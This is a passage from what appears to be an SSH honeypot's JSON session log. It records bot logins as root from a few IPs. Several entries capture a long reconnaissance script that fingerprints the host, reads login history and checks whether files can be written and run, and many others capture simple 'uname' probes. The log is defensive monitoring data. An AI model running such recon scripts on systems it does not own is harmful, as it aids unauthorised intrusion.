filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:16:38.343176+00:00",
  "ended_at": "2026-08-27T04:16:38.514564+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c3fb7600-21d2-4a09-a795-c2c410a4940a",
  "name": "jagged-coastal-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 60812,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:14:27.463609+00:00",
  "ended_at": "2026-08-27T04:14:27.924199+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "63a39161-a5e9-4a49-890a-ad671b472e74",
  "name": "curious-quaint-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 57752,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:12:16.458520+00:00",
  "ended_at": "2026-08-27T04:12:17.148298+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2451084f-aa6a-4383-8e91-11c3cd35ff85",
  "name": "seaward-jovial-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 47920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:10:06.993015+00:00",
  "ended_at": "2026-08-27T04:10:08.233679+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acd8ce96-b7fc-4477-aaec-c5ea6098daa2",
  "name": "wry-orderly-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 54662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:10:00.554198+00:00",
  "ended_at": "2026-08-27T04:10:01.177315+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "12cee581-1293-47aa-9c3f-e6f0bffac8e9",
  "name": "pleasant-noble-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "59.36.78.66",
  "src_port": 46952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:09:28.231240+00:00",
  "ended_at": "2026-08-27T04:09:30.054563+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e315edee-bc96-40df-9314-d274dc6ed22b",
  "name": "gritty-emerald-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.70.126.245",
  "src_port": 50283,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.5",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 999,
  "probe_flagged": 0,
  "exec_command": "uname -a",
  "started_at": "2026-08-27T03:58:25.659779+00:00",
  "ended_at": "2026-08-27T03:58:27.147438+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 339
 },
 {
  "id": "d933e785-bd96-4468-ac1a-310d3cd89af3",
  "name": "early-mindful-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.70.126.245",
  "src_port": 50183,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.5",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:57:42.458817+00:00",
  "ended_at": "2026-08-27T03:57:42.783391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8465b8d3-32bb-4630-9439-ebd5665c52c7",
  "name": "misty-wiry-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 162,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:36.254166+00:00",
  "ended_at": "2026-08-27T03:16:39.257641+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eca4dd1b-864b-4475-8a1b-eddb4778cbba",
  "name": "blunt-prairie-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:06.528956+00:00",
  "ended_at": "2026-08-27T03:16:12.371345+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "673fc83b-25ea-48b9-9afc-c52bcb4dce15",
  "name": "stoic-candid-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:16:04.162125+00:00",
  "ended_at": "2026-08-27T03:16:09.934447+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5314abb-59f0-4900-bbcf-159701ad13de",
  "name": "sooty-feathered-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:48.415803+00:00",
  "ended_at": "2026-08-27T03:15:54.400737+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a28ae4fd-9e00-4921-8ae2-eb02d0db64a4",
  "name": "solar-nameless-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:46.080934+00:00",
  "ended_at": "2026-08-27T03:15:51.431772+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6f4c43f5-4f7d-4e97-af6b-54c536478e42",
  "name": "pleasant-brisk-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:36.538872+00:00",
  "ended_at": "2026-08-27T03:15:39.878406+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7a16e83-cbaa-443f-912e-82c1799f89aa",
  "name": "nimble-nameless-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:28.493557+00:00",
  "ended_at": "2026-08-27T03:15:32.596063+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b84e42db-4989-4c19-b951-4aa941682214",
  "name": "silent-hardy-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 270,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:11.973221+00:00",
  "ended_at": "2026-08-27T03:15:17.947709+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98541fa5-680f-4267-8631-728a091a51f9",
  "name": "frosty-glacial-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:52.037798+00:00",
  "ended_at": "2026-08-27T03:14:57.969069+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5cfbeddf-9a54-4d07-b6fa-604cc4be1b30",
  "name": "solemn-quiet-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:38.878182+00:00",
  "ended_at": "2026-08-27T03:14:42.485873+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f6bfcdd-611f-4d5b-8c9a-9f3f6d536aaa",
  "name": "sleepy-rustic-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:21.696858+00:00",
  "ended_at": "2026-08-27T03:14:26.224393+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d74a0ba3-aaf5-4451-86d9-e3074ab0ce11",
  "name": "vigilant-sooty-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:19.724043+00:00",
  "ended_at": "2026-08-27T03:14:22.755711+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2ff2c324-2b8a-451e-947d-cb1a2170f2fd",
  "name": "lanky-dusty-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:14:03.802486+00:00",
  "ended_at": "2026-08-27T03:14:08.142027+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "598a26bf-a322-4dc9-94f6-b53e10aa89cd",
  "name": "tidal-tangled-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 324,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:13:01.463580+00:00",
  "ended_at": "2026-08-27T03:13:04.494018+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd10d9b0-ea11-43fe-9b2c-7cc6a742548d",
  "name": "velvet-icy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:57.563844+00:00",
  "ended_at": "2026-08-27T03:13:03.220380+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57dcf377-da76-42ac-ae54-ccbd78bc8409",
  "name": "woven-thrifty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 408,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:27.920473+00:00",
  "ended_at": "2026-08-27T03:12:32.120704+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2adb49a-325b-47f5-9273-364ee9734597",
  "name": "dapper-wiry-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:11:43.593246+00:00",
  "ended_at": "2026-08-27T03:11:49.274090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30fd9b80-7998-45f7-8eae-b4638db5021b",
  "name": "mossy-umber-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38664,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:51.373992+00:00",
  "ended_at": "2026-08-27T03:10:55.173294+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4b0cd96-c34c-4bd5-a091-55a31d76f922",
  "name": "hazel-feathered-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:38.317844+00:00",
  "ended_at": "2026-08-27T03:10:42.912729+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7f56b95-3031-4b47-9106-127e655c78fc",
  "name": "grassy-courtly-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:10:08.872708+00:00",
  "ended_at": "2026-08-27T03:10:12.544253+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98891e71-0fc7-40e8-b891-4e3159ca1e80",
  "name": "patient-emerald-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38894,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 207,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:09:58.839131+00:00",
  "ended_at": "2026-08-27T03:10:04.516261+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "124fc5a0-ab53-4521-8907-cfe5dd01f820",
  "name": "frugal-bitter-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47030,
  "username": "root",
